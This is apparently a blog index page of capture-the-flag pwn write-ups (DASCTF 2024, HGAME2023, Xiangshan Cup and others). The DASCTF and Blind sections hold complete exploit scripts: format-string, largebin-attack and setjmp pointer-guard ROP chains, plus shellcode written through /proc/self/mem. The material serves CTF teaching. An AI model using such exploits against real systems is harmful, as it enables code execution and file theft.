Skip to main content

「PWN」【DASCTF2024 暑期】Writeup WP 复现

· 10 min read
Muel - Nova
Anime Would PWN This WORLD into 2D

再不做题手生完了,没书读了。

SpringBoard

非栈上格式化字符串,栈上找一个 a->b->c 的链子,把 a->b 改成 a->b*->return_address(一般两字节够改了)

然后改 b*->onegadget

from pwno import *

# sh = process("./pwn.bak", env={"LD_PRELOAD": "./libc.so.6", "LD_LIBRARY_PATH": "."})
sh = gen_sh()
sa("Please enter a keyword\n", b"%9$pAAAA%6$p")

libc.address = int(recvu(b"AAAA", drop=True), 16) - 0x20840
stack = int(recvu(b"You", drop=True), 16) # %10$p, next = %37$p

success(f"libc.address: {hex(libc.address)}")
success(f"stack: {hex(stack)}")

og = [0x4527A, 0xF03A4, 0xF1247]

gadget = libc.address + og[2]

# payload = b" ".join(f"{i}:%{i}$p".encode() for i in range(6, 20))
payload = "%{}c%11$hn".format((stack - 0xD8) & 0xFFFF).encode() # -> ebp
dbg("b printf")
sa("Please enter a keyword\n", payload)


payload = "%{}c%37$hn".format((gadget) & 0xFFFF).encode() # -> low 2 byte
sa("Please enter a keyword\n", payload)

# payload = b" ".join(f"{i}:%{i}$p".encode() for i in range(6, 20))
payload = "%{}c%11$hn".format((stack - 0xD8 + 2) & 0xFFFF).encode() # -> ebp + 2
sa("Please enter a keyword\n", payload)


success(f"{hex(gadget)}")
dbg("b printf")
payload = "%{}c%37$hn".format(((gadget) >> 16) & 0xFFFF).encode()
sa("Please enter a keyword\n", payload)

# stack + 0xa0
ia()

magicbook

2.35,一眼 largebin

edit 看到是 read(0, buf, book),考虑能不能直接把 book 改大了造成溢出

void *edit_the_book()
{
size_t v0; // rax
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("come on,Write down your story!");
read(0, buf, book);
v0 = strlen(buf);
return memcpy(dest, buf, v0);
}

create 能造最多五个

size_t creat_the_book()
{
size_t v0; // rbx
__int64 size[2]; // [rsp+Ch] [rbp-14h] BYREF

if ( book > 5 )
{
puts("full!!");
exit(0);
}
printf("the book index is %d\n", book);
puts("How many pages does your book need?");
LODWORD(size[0]) = 0;
__isoc99_scanf("%u", size);
if ( LODWORD(size[0]) > 0x500 )
{
puts("wrong!!");
exit(0);
}
v0 = book;
p[v0] = malloc(LODWORD(size[0]));
return ++book;
}

delete 有 UAF。free 出来一个 largebin 之后,改 fd 打 largebin attack,把 book 改了就能溢出了。

__int64 delete_the_book()
{
unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+4h] [rbp-Ch] BYREF
char buf[8]; // [rsp+8h] [rbp-8h] BYREF

puts("which book would you want to delete?");
__isoc99_scanf("%d", &v2);
if ( v2 > 5 || !p[v2] )
{
puts("wrong!!");
exit(0);
}
free((void *)p[v2]);
puts("Do you want to say anything else before being deleted?(y/n)");
read(0, buf, 4uLL);
if ( d && (buf[0] == 0x59 || buf[0] == 121) )
{
puts("which page do you want to write?");
__isoc99_scanf("%u", &v1);
if ( v1 > 4 || !p[v2] )
{
puts("wrong!!");
exit(0);
}
puts("content: ");
read(0, (void *)(p[v1] + 8LL), 0x18uLL);
--d;
return 0LL;
}
else
{
if ( d )
puts("ok!");
else
puts("no ways!!");
return 0LL;
}
}

问题就是 Largebin 怎么改我已经忘完了 😂

在这里简单复习一下 2.35 的路径。

首先 >= 0x440 就直接进 ub,之后分配的时候优先从 ub 拿,ub 不够拿就走 main_arena,然后入 largebin。在这里,我们只讨论 [0x440~0xc40) 这个范围内的 lb,因为它们每个间隔 0x40

largebin bin 按大小区间分;一个 largebin 按从大到小组织起来。每个 size 头指针不变,为第一个该 size 的 chunk(第一个释放的 chunk),后面则是在它后面头插。

对于每个 size 的头指针,使用 fd_nextsize 和 bk_nextsize 串起来,fd_nextsize 指向更小的,是一个循环链表。

而 fd 和 bk 则用来管理整个 size 链表。

img

接下来说 largebin attack 怎么用。当我们插入一个比链表最小的还要小一点的 chunk (源码里记为 victim)的时候,那它就会把它插入 chunk

因此就有如下的操作:

fwd = bck;  // bck 是 main arena 上的,fwd->fd 也就是当前 chunk 最大的。
bck = bck->bk; // 最小的

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // 可以把 chunk->bk_Nextsize 改为 victim

因此可以注意到,我们可以修改 fwd->bk_nextsize,使得 fwd->bk_nextsize 指向 addr-0x20 的地方,就可以使得其写为 victim 的值。

所以在这里,我们申请一个 0x450 的堆块,给它丢 largebin 里,然后改 bk_nextsize 为 book-0x20,再把一个 0x440 的堆块放 largebin 里,就可以把 book 写一个大值。

最后 exp:

from pwno import *

sh = gen_sh()

def menu(idx: int):
recvu(b'Your choice:\n')
sl(str(idx).encode())

def add(size: int):
menu(1)
sla(b'your book need?\n', str(size).encode())


def delete(idx: int, page: int | None = None, content: bytes = None):
menu(2)
sla(b'want to delete?\n', str(idx).encode())
if page is not None:
sla(b'being deleted?(y/n)\n', b'y')
sla(b'which page do you want to write?\n', str(page).encode())
sla(b'content: \n', content)
else:
sla(b'being deleted?(y/n)\n', b'n')

def edit(content: bytes):
menu(3)
sla(b'your story!\n', content)



recvu(b'give you a gift: ')
gift = int(recvu(b'what', drop=True), 16) - 0x4010
success("gift: %s" % hex(gift))

book = gift + 0x4050

add(0x450) # 0
add(0x20) # 1
add(0x440) # 2
delete(0)

add(0x460) # 3, 0->large
delete(2, 0, p64(gift + 0x101a) + p64(0) + p64(book-0x20))
add(0x4f0) # 4, 2->large, book->&2

elf = ELF('./pwn')
print(elf.got['puts'], elf.plt['puts'])

ret = gift + 0x101a
pop_rdi_ret = gift + 0x1863
puts_plt = gift + Elf.plt['puts']
puts_got = gift + Elf.got['puts']

edit(b'\x00'*0x28 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(gift + 0x15e1))

libc.address = uu64(recv(6)) - 0x80ed0
# dbg('b *$rebase(0x15d5)')
success("libc: %s" % hex(libc.address))

pop_rsi_ret = libc.address + 0x2be51
pop_rdx_pop_r12_ret = libc.address + 0x11f497


read_ = libc.sym['read']
write_ = libc.sym['write']
open_ = libc.sym['open']


payload = p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(gift + Elf.bss() + 0x200) + p64(pop_rdx_pop_r12_ret) + p64(0x20) + p64(0) + p64(read_)
payload += p64(pop_rdi_ret) + p64(gift + Elf.bss() + 0x200) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_pop_r12_ret) + p64(0) + p64(0) + p64(open_)
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(gift + Elf.bss() + 0x100) + p64(pop_rdx_pop_r12_ret) + p64(0x100) + p64(0x100) + p64(read_)
payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(gift + Elf.bss() + 0x100) + p64(pop_rdx_pop_r12_ret) + p64(0x100) + p64(0x100) + p64(write_)
dbg('b *$rebase(0x1631)')
sa(b'your story!\n', b'\x00'*0x28 + payload)
sl(b'/flag\x00')

ia()

vhttp

好玩的题。虽然逆向难。

image-20240724005010517

image-20240724005022603

可以看到有一个 fread,其 content-length 是我们可以控制的,因此有一个栈溢出。然而,由于它都用的 exit 退出,因此我们没办法直接 ROP。显然需要 longjmp 去间接跳转。

setjmp 大概是这个情况

sysdeps/x86_64/setjmp.S

ENTRY (__sigsetjmp)
/* Save registers. */
movq %rbx, (JB_RBX*8)(%rdi)
movq %rbp, (JB_RBP*8)(%rdi)
movq %r12, (JB_R12*8)(%rdi)
movq %r13, (JB_R13*8)(%rdi)
movq %r14, (JB_R14*8)(%rdi)
movq %r15, (JB_R15*8)(%rdi)
movq %rdx, (JB_RSP*8)(%rdi)
movq %rip, (JB_PC*8)(%rdi)

合理想象,如果我们这样设置,似乎就会 longjmp 了

payload = "GET /lib HTTP/1.0\r\n"
payload += "content-length: %d\r\n"
payload += "\r\n"
evil = b"&pass=v3rdant".ljust(512, b'\x00')
evil += flat([0, 1, 2, 3, 4, 5, 6, 0x41414141])

payload = payload % (len(evil))
payload = payload.encode() + evil
pwndbg> p/x *(struct __jmp_buf_tag *)($rbp-0xe0)
$2 = {
__jmpbuf = {0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x41414141},
__mask_was_saved = 0x0,
__saved_mask = {
__val = {0x0 <repeats 16 times>}
}
}

但是,实际测试后发现,它变成了 0x7f8cc1dd08d0 <__longjmp+192> jmp rdx <0x82b009f02e2e6b00>

image-20240724011628277

可以发现,它对这些寄存器进行了 ror 和 xor 的操作,这其实是 TLB 的 pointer guard 导致的。具体我也忘了在哪篇论文里看的了,对于 setjmp 和 longjmp,它会利用这个进行加密。(应该是 Eternal War?)

那么我们只需要泄露它就好了。在多线程里,栈大小是固定的,fsbase 也是固定在栈底的。我们有一个无限大小的栈溢出和泄露,轻松拿到它。

pwndbg> p/x &((tcbhead_t *)(0x7f12ebc506c0))->pointer_guard
$3 = 0x7f12ebc506f0
pwndbg> p/x $rdi
$5 = 0x7f12ebc4fbe0
pwndbg> p/x 0x7f12ebc506f0-0x7f12ebc4fbe0
$7 = 0xb10 # 在它用的 libc 里,是 0xb20

再简单写出它的加密函数

def rol(v: int, k: int) -> int:
v = v & 0xFFFFFFFFFFFFFFFF
v = ((v << k) & 0xFFFFFFFFFFFFFFFF) | v >> (64 - k)
return v

def ptr(v: int, pg: int) -> int:
return rol(v, 0x11) ^ pg

那么回到哪里呢?headers!我们设一个 header,value 为 ROP 链子就好

payload += "muElnova: %s\r\n"
rop_chain = flat([
pop_rdi_ret,
flag,
pop_rsi_r15_ret,
0,
0,
open_,

pop_rdi_ret,
3,
pop_rsi_r15_ret,
0x405300,
0,
pop_rdx_ret,
0x20,
read_,


pop_rdi_ret,
1,
pop_rsi_r15_ret,
0x405300,
0,
pop_rdx_ret,
0x20,
write_,
])

payload = payload.encode()
evil = b"\r\nuser=newbew".ljust(0xb20-8, b'B') + B'A'*8
payload = payload % (len(evil), rop_chain)

最终 EXP:

from pwno import *

context.arch = 'amd64'


sh = gen_sh("pwn")

payload = "GET /lib HTTP/1.0\r\n"
payload += "content-length: %d\r\n"
payload += "muElnova: %s\r\n"
payload += "\r\n"

evil = b"\r\nuser=newbew".ljust(0xb20-8, b'B') + B'A'*8

pop_rdi_ret = 0x4028f3
pop_rsi_r15_ret = 0x4028f1
pop_rdx_ret = 0x40157d
ret = 0x4028F4
flag = 0x40338A
open_ = Elf.plt['open']
read_ = Elf.plt['read']
write_ = Elf.plt['write']


rop_chain = flat([
pop_rdi_ret,
flag,
pop_rsi_r15_ret,
0,
0,
open_,

pop_rdi_ret,
3,
pop_rsi_r15_ret,
0x405300,
0,
pop_rdx_ret,
0x20,
read_,


pop_rdi_ret,
1,
pop_rsi_r15_ret,
0x405300,
0,
pop_rdx_ret,
0x20,
write_,
])

payload = payload.encode()
payload = payload % (len(evil), rop_chain)

dbg('b siglongjmp\nb *0x401DD1')
sh.send(payload)
sh.send(evil)
sh.recvuntil(b'A'*8)

pointer_guard = uu64(sh.recv(8))
success(f"pointer_guard: {hex(pointer_guard)}")

def rol(v: int, k: int) -> int:
v = v & 0xFFFFFFFFFFFFFFFF
v = ((v << k) & 0xFFFFFFFFFFFFFFFF) | v >> (64 - k)
return v

def ptr(v: int, pg: int) -> int:
return rol(v ^ pg, 0x11)

evil2 = b"&pass=v3rdant".ljust(512, b'A')
# rbx, rbp, r12, r13, r14, r15, rdx, rip
evil2 = (evil2+flat([0, ptr(0x40514A-8, pointer_guard), 2, 3, 4, 5, 0, ptr(0x401CE5, pointer_guard)])).ljust(len(evil)-8*5, b'B') + p64(0x40514A+0x100)*5

sh.send(evil2)
ia()

题外话

Arch 如何自动进行 glibc 源码级调试

Arch 现在有 debuginfod

paru -Sy debuginfod

然后把这几行添加去 .gdbinit 里

set debuginfod enabled on
set debuginfod urls "https://debuginfod.archlinux.org/"
set debuginfod verbose 1

参考

Glibc TLS的实现与利用 | M4tsuri's Blog

Largebin attack漏洞利用分析 - FreeBuf网络安全行业门户 (大白学长写的hhh)

HGAME2023_Pwn_Writeups

· 5 min read

Week1

During the basic competition, I also worked on miscellaneous blockchain and ioT, but I didn't bother to publish it.

test_nc

Directly use nc to obtain shell.

easy_overflow

Stdout is disabled, with a backdoor and stack overflow.

Here, the exec 1>&0 command is used to redirect output to stdout (see understanding bash "exec 1>&2" command).

exp

choose_the_seat

signed int type only checks for positive numbers, allowing negative numbers to bypass arbitrary address read/write.

Modify the exit GOT table to the vuln function address, leak printf address for libc calculation in the first round, rewrite puts GOT table to get shell in the second round.

exp

orw

Stack migration + ORW template question.

exp

simple_shellcode

Shellcode ORW, the program runs mmap((void *)0xCAFE0000LL, 0x1000uLL, 7, 33, -1, 0LL) to change permissions, just write here.

exp

Week 2

YukkuriSay

An interesting format string question with the format string on bss. Can leak stack address when Saying.

image-20230203153007716

Then use the below format string to leak canary and libc base, change return address to vuln function, but without using the canary.

Then setup printf GOT pointer on the stack, change printf to system and then modify return address to read(0, str, 0x100uLL) to set up /bin/sh\x00 and execute system('/bin/sh').

(I had to look at my own exploit for a long time to understand this, it's really abstract, don't know how fmtstr_payload is used here)

exp

payload_padding = sorted([('%8$hn', system_addr & 0xffff),	# Modify the last two digits <-> p64(printf_got)
('%9$hhn', (system_addr & 0xff0000) >> 16), # Modify the third from the end <-> p64(printrf_got+2)
('%10$hn', vuln_read_addr & 0xffff), # Same...
('%11$hn',((vuln_read_addr & 0xff0000) >> 16)),
('%12$hn', 0)], key=lambda x: x[1])

payload = ''
nums = 0
for i in payload_padding:
payload += f'%{i[1]-nums}c{i[0]}' if i[1] != nums else f'{i[0]}'
nums = i[1]

print(hex(payload))
# Can anyone really understand this, but can be reused, written quite well (laughs)

editable_note

All the following heap questions are template questions, no pointer cleaning, UAF.

Fill up tcache and conveniently create an unsorted bin to leak libc, then directly change fd to point to __free_hook and change it to system to get shell.

exp

fast_note

Libc 2.23

Fastbin attack Double Free, place a fake chunk at __malloc_hook-0x23, use the one_gadget filled in __realloc_hook.

After testing, found that the condition for og is not met, modify __malloc_hook to realloc to adjust the registers, then modify __realloc_hook to the one_gadget.

exp

new_fast_note

Libc 2.31

Fill up tcache and leak libc using unsorted bin.

Utilize the concept of heap chunk overlap to modify tcache fd to __free_hook.

We first fill the 7 bin size 0x90

idxsizetype
...0x90tcache_bin
70x90allocated_chunk
80x90unsorted_bin

At this point, when we free 7, it will merge with 8 to form a new unsorted_bin

If we take out a chunk of the same size again, it will take from the linked list of 0x90 tcache.

Now, if we free 8 again, it will link to the 0x90 tcache list.

Finally, when we take out a chunk >= 0xB0, it will start from the address of 7, including what we need, which naturally includes parts of 8 such as prev_size, size, fd, bk, etc.

I actually overcomplicated this (I thought it would still check if notes[i] exists like before, but after calculating I found it's not enough). Simply create a double_free in fastbin, then clear tcache to put fastbin into tcache and directly retrieve it.

exp

Week3

safe_note

Bybass the Safe-unlinking mechanism of 2.32, but still a template question. In short, it encrypts the fd pointer, the process is as follows:

e->next = &e->next >> 12 ^ tcache->entries[tc_idx]

When the first tcache is put in, tcache->entries[tc_idx] is 0, so we only need to leak the fd of the first tcache_chunk, left shift by 12 bits to leak the heap_base.

Then, when modifying fd, perform encryption fd = &e->next >> 12 ^ fd

After that, it's just a template question for tcache poisoning.

exp

large_note

2.32, exploit largebin attack to write a very large value at &mp_+80, where it is the location of .tcache_bins = TCACHE_MAX_BINS, in the mp_ structure.

Similar to global_max_fast, once changed, proceed with the same steps as safe_note.

exp

note_context

2.32, use the setcontext+61 gadget to achieve ORW.

Since setcontext now uses the rdx register, utilize a magic_gadget as well.

mov rdx, qword ptr [rdi + 8]
mov qword ptr [rsp], rax
call qword ptr [rdx + 0x20];

exp

Week4

without_hook

Version 2.36, bypass larginbin to hit the IO structure. Used house_of_cat exploit chain, but can also use apple's.

exp

4nswer's gift

Version 2.36

Write the heap address directly at _IO_list_all, and print out the libc address. Then use exit to trigger _IO_flush_all_lockp for FSOP, but since there is no heap address, the chains cannot be utilized.

Initially noticed that size 0 can cause heap overflow, pondered using IO to leak heap address, but couldn't control the program flow, got stuck for a long time.

Later, ayoung said just malloc a very large value, and suddenly remembered that sysmalloc will open a new memory near libc, and this offset is unlikely to change.

After testing, it indeed worked, then continue to hit the IO.

exp

Blind

· 3 min read

Looking at the title introduction, it should be something about BROP. Also found that there is no attachment.
I have never done a BROP problem before, so let's give it a try.
CTF-WIKI_BROP

First, let's see what the program will do.

image-20220217140202100

You can see that the program first provides the address of write, but since we don't know the libc version, although we can find the libc version based on the lower 12 bits, we choose LibcSearcher for a quicker solution.

In this way, it is easy to find libc_base.

sh.recvuntil(b"write: ")
write_addr = int(sh.recvuntil(b"\n", drop=True), 16)
success(">>> write_addr: {}".format(hex(write_addr)))

libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
success(">>> libc_base: {}".format(hex(libc_base)))

Next, it allows us to open a file.

image-20220217140449422

Introduction to some related contents of /proc/.

/proc/

The Linux kernel provides a mechanism to access kernel data and change kernel settings during program execution through the /proc filesystem. /proc is a pseudo-file structure, which means it exists only in memory and not on external storage. Some important directories in /proc are sys, net, and scsi. The sys directory is writable and can be used to access and modify kernel parameters.

/proc also contains process directories named after PID (process ID), which can be used to read information about the corresponding processes. There is also a /self directory, used to record information specific to the current process.

/proc/self/

This is like a symlink, where different PIDs accessing this directory essentially enter different /proc/$(PID)/ directories.

/proc/self/maps

This file is used to record the memory mapping of the current process, similar to the vmmap command in GDB. By reading this file, you can obtain the base address of the memory code segment.

/proc/self/mem

This file records information about the process memory. Modifying this file is equivalent to directly modifying the process memory. This file is readable and writable, but reading it directly will result in an error.

You need to modify offset's val based on the mapping information in /proc/self/maps.

If we write some code to the .text section, the code at that address will become disasm(val).

Therefore, it naturally comes to mind to write shellcode there. However, since we do not have the source file, we cannot be sure where the program has executed and thus cannot control the program to jump to the exact location where the shellcode starts.

Shellcode Spray

At this point, if we change the address context to all nop and add a segment of shellcode at the end, whenever the program reaches any position where nop is located, the shellcode will execute normally.

Thus, we may as well change a large section starting from __libc_start_main to nop, ensuring that the program is definitely covered by nop.

Exp:

import string

from pwn import *
from pwnlib.util.iters import mbruteforce
from LibcSearcher import LibcSearcher

context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'

sh = remote('chuj.top', 51812)

sh.recvuntil(b' == ')
hash_code = sh.recvuntil(b"\n", drop=True).decode('UTF-8')
charset = string.ascii_letters
# print(hash_code, type(hash_code))
proof = mbruteforce(lambda x: hashlib.sha256(x.encode()).hexdigest() ==
hash_code, charset, 4, method='fixed')

sh.sendlineafter(b"????> ", proof.encode())

sh.recvuntil(b"write: ")
write_addr = int(sh.recvuntil(b"\n", drop=True), 16)
success(">>> write_addr: {}".format(hex(write_addr)))

libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
success(">>> libc_base: {}".format(hex(libc_base)))

sh.sendlineafter(b">> ", b'/proc/self/mem\x00')

__libc_start_main_addr = libc_base + libc.dump('__libc_start_main')
success(">>> __libc_start_main: {}".format(hex(__libc_start_main_addr)))
sh.sendlineafter(b">> ", str(__libc_start_main_addr).encode())

payload = asm('nop') * 0x300 + asm(shellcraft.sh())
sh.sendlineafter(b">> ", payload)

sh.interactive()

TSCTF-J_2021-Pwn_Random-WriteUp

· 4 min read

Analysis

Using IDA to open the file, we found that the task requires us to input the correct random numbers generated by rand() 10 times, and then input the correct random byte stream generated by /dev/urandom.

Initial Information

rand()

The rand() function checks whether srand(seed) has been called before every call. If a value has been set for seed, then it will automatically call srand(seed) once to initialize its initial value. If srand(seed) has not been called before, the system will automatically assign an initial value to seed, that is, srand(1) will be called automatically.

/dev/urandom

/dev/urandom is a pseudo-random device provided in the Linux system, whose task is to provide an ever non-empty stream of random byte data.

Since rand() generates random numbers based on the random number seed seed, as long as the seed is the same, can't the same random numbers be generated?

Code Analysis

First Random

We can see that the length of buf is 22, but it can read in 0x30 bytes of data.

Observing the stack, we can see that buf and seed are only 0x18 bytes apart. Therefore, we can consider stack overflow to overwrite the random seed.

Second Random

This is a bit more difficult. During my search, I found a method to skip strncmp by padding with \x00 to make strlen=0, but this is clearly not suitable for our strcmp.

But the working principle of strcmp is as follows:

strcmp: Compare two strings character by character from left to right (comparing them by ASCII value), until a different character is encountered or '\0' is encountered.

This means that if s starts with \x00, our strcmp will return 0 without caring about the rest of the data and buff.

This is the real random - making /dev/urandom generate byte data streams starting with \x00.

Script Writing

from pwn import *
from ctypes import *
context.log_level = 'debug'
def burp():
sh = remote("173.82.120.231", 10000)
# sh = process("./randomn") # When testing locally, for some reason, it throws an EOFError, so I had to run the script by connecting to the server (after checking, it may be due to program protection on Ubuntu 20.04 LTS)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') # Import library file
payload = '\x00' * 0x20 # Since our data is only related to buf and seed, it's better to fill it all with \x00
sh.sendlineafter("ranqom...",payload)
libc.srand(1) # Using 0 and 1 as seed will yield the same result
for i in range(10):
a = libc.rand()%100
sh.sendlineafter("is the number?\n", str(a))

# Random_2
payload = '\x00' # Fill it with something random
sh.sendafter("THIS!??!!", payload)
print(sh.recvline()) # There will be an empty line so printed it, but it's not necessary
respon = str(sh.recvline())
print(respon)
if 'LUuUncky' in respon:
sh.interactive()
else:
burp()
burp()

Here's a small detail - after padding the seed with \x00, the rand() function will automatically call srand(1) once, and in fact, the results of srand(1) and srand(0) are the same.

I found an article on stackoverflow

How glibc does it:

around line 181 of glibc/stdlib/random_r.c, inside function __srandom_r

  /* We must make sure the seed is not 0.  Take arbitrarily 1 in this case.  */
if (seed == 0)
seed = 1;

But that's just how glibc does it. It depends on the implementation of the C standard library.

Next is the lengthy brute-forcing process. I can only say that luck was really not on my side, as I brute-forced for over an hour, making me think at one point that there was an issue with the script I wrote.

After a long wait, I finally got the FLAG o00O0o00D_LuCk_With_y0ur_Ctf_career!!!, but only the latter half? How could this happen?

After carefully studying IDA, I found that the first half of the flag was actually provided during the first random operation (but because I thought there was too much debug information when running, I commented it out).

Concatenating the two parts, we have the complete FLAG:

TSCTF-J{G0o00O0o00D_LuCk_With_y0ur_Ctf_career!!!}

「PWN」【Xiangshan Cup 2023】Writeup WP Reproduction

· 3 min read
Muel - Nova
Anime Would PWN This WORLD into 2D

Two simple PWN challenges, simply updated, documenting Python debugging along the way.

move

Simply a check-in challenge, where we need to leak the libc address to call system after getting an initial stack migration, eliminating the need for a second migration. The code snippet is omitted.

It's worth noting that before the second read, RSP is pointing to bss + 8, so when we call read, it reaches bss, and the return address goes directly to bss, eliminating the need for a second migration.

pop_rdi = 0x0000000000401353
bss = 0x4050a0
leave_ret = 0x40124b

sendafter(b'again!', p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main']))
sendafter(b'number', p32(0x12345678))
dbg(pause_time=5)
sendafter(b'TaiCooLa', b'A'*0x30 + p64(bss-8) + p64(leave_ret))

libc.address = u64(recv(6).ljust(8, b'\x00')) - libc.symbols['puts']
print(f'libc: {hex(libc.address)}')
sendlineafter(b'again!', p64(pop_rdi) + p64(libc.search(b'/bin/sh').__next__()) + p64(libc.symbols['system']))
interactive()

Pwnthon

A .so file written using CPython, requiring the same Python version for importing.

Noting that the .so file is dynamically loaded, breakpoints cannot be set directly using gdb.debug. However, it was observed during testing that setting breakpoints at the read function did not allow for continuing past the breakpoint.

info

It is speculated afterwards that the breakpoint might have been set at the wrong position, which is difficult to evaluate.

Therefore, a slightly tricky approach was used by setting a breakpoint at the position PyImport_ImportModule+4, to see which package triggers the loading of the .so file. Once identified, another breakpoint can be set conditionally for debugging.

b *PyImport_ImportModule+4 if strcmp((char*)$rdi, "datetime") == 0

There is also a technique for setting breakpoints, where it was discovered while importing into IDA that it contains debug information, making it possible to identify which file and line a specific function belongs to. GDB automatically handles the offset, making it more convenient. Of course, due to the presence of symbol tables, func_name+offset can be used directly as well.

image-20231017090646706

b app.c:2963
# or
b __pyx_f_3app_Welcome2Pwnthon+36

After discussing the debugging methods, let's proceed directly to the exploit. The vulnerability is also quite apparent, a format string vulnerability along with a stack overflow.

image-20231017091040667

However, Python cannot use methods like %n$, therefore, it needs to be written step by step, leading to no arbitrary address writing method. Nevertheless, upon GDB inspection, it was found that there were addresses like open64+232 on the stack that could be leaked, along with the canary, to achieve the leak.

image-20231017092014997

It is noteworthy that in Python, rsp is used to store the return address, so even though it is %31$p, it effectively corresponds to %30$.

sendline(b'%p.'*0x1e)
resp = recvline(keepends=False).split(b'.')
print(resp)
canary = int(resp[-2], 16)
success(f'>> canary = {hex(canary)}')
libc.address = int(resp[-8], 16) - 0x1147b8
success(f">> libc = {hex(libc.address)}")

After obtaining the leak, it's a matter of stack overflow to write to system.

# Exploit code
<Exploit code here>
python exp.py -a main.py venv/bin/python # venv/bin/python corresponding to version 3.7

「PWN」【DASCTF2023 Binary Specialization June】Writeup WP Reproduction

· 2 min read

This PWN challenge is of high quality, but there were too many tasks and I was busy preparing for an exam, so I didn't spend much time on it. Here is a brief reproduction.

a_dream

This is a challenge involving stack migration in multithreading.

Key points:

  • The sandbox opened by the main thread after creating a sub-thread does not affect the sub-thread.
  • The stack of the sub-thread is allocated using mmap, with the same offset as libc.
  • Both the sub-thread and the parent thread use the same GOT / PLT table.

Attack train of thought:

  1. Migrate the stack to bss, and change the write function's GOT entry to the read function in the parent thread.
  2. Utilize puts to leak libc information, and then obtain the sub-thread stack address.
  3. Perform ret2libc attack.

Points to note:

  • After modifying the write GOT entry, we can only overflow by 0x10 bytes; however, at this point, the place of rbp - 0x10 coincides with the return address of the read function. Therefore, we can control up to 0x20 bytes, which is enough to write pop rdi + got['puts'] + plt['puts'] + magic_read.
  • Even after obtaining the sub-thread stack address from the libc address, magic_read can still only overflow by 0x10 bytes, so we need to migrate to the high address of the stack.

Points of confusion:

  • After modifying the write GOT entry, because the write function is called every 1 second (waiting for stdin input), I'm not sure if it's a pwndbg issue or constantly being interrupted, so I can only break at that point. I can't use si/n/c, as they will crash, making debugging very complex. Later on, I had to rely on continuously changing the breakpoint position to step through the code (laughs)

    Set GDB set scheduler-locking step to resolve this issue.

Exploit script (not suitable for remote, using local libc 2.35):

[Translated Python script...]

image-20230623124315352

「Pwn」The 16th National College Student Information Security Contest CISCN Preliminary Writeup WP Reproduction

· 5 min read
Muel - Nova
Anime Would PWN This WORLD into 2D

Couldn't make it to Singapore for the finals, so no time for that, just taking a look at the preliminary round.

It's hard to evaluate the Pwn questions in the preliminary round. The Pwn parts are all quite simple, but they throw in RE/WEB/MISC wrappers, and even after two days, pwn3 still couldn't be solved, so I didn't feel like looking into it further.

「PWN」【XCTF-final 7th】Pwn Writeup WP Reproduction

· 6 min read
Muel - Nova
Anime Would PWN This WORLD into 2D

import Link from '@docusaurus/Link';

First offline competition? All thanks to the senior brother's guidance, ranked second on the first day of the problem-solving competition, but unfortunately lost at the King of Hill on the second day and only got the first prize in the end.

To be precise, it seems that this award has nothing to do with me (laughs)

But I learned a lot.

PWN【ACSC 2023】Writeup WP Reproduction

· 3 min read
Muel - Nova
Anime Would PWN This WORLD into 2D

This is an individual competition, but I have already forgotten things related to Web or Rev, let alone Crypto. Meanwhile, we cannot solve the hard challenges, so uh-hum, let's just say I'm not participating for the sake of the ranks LOL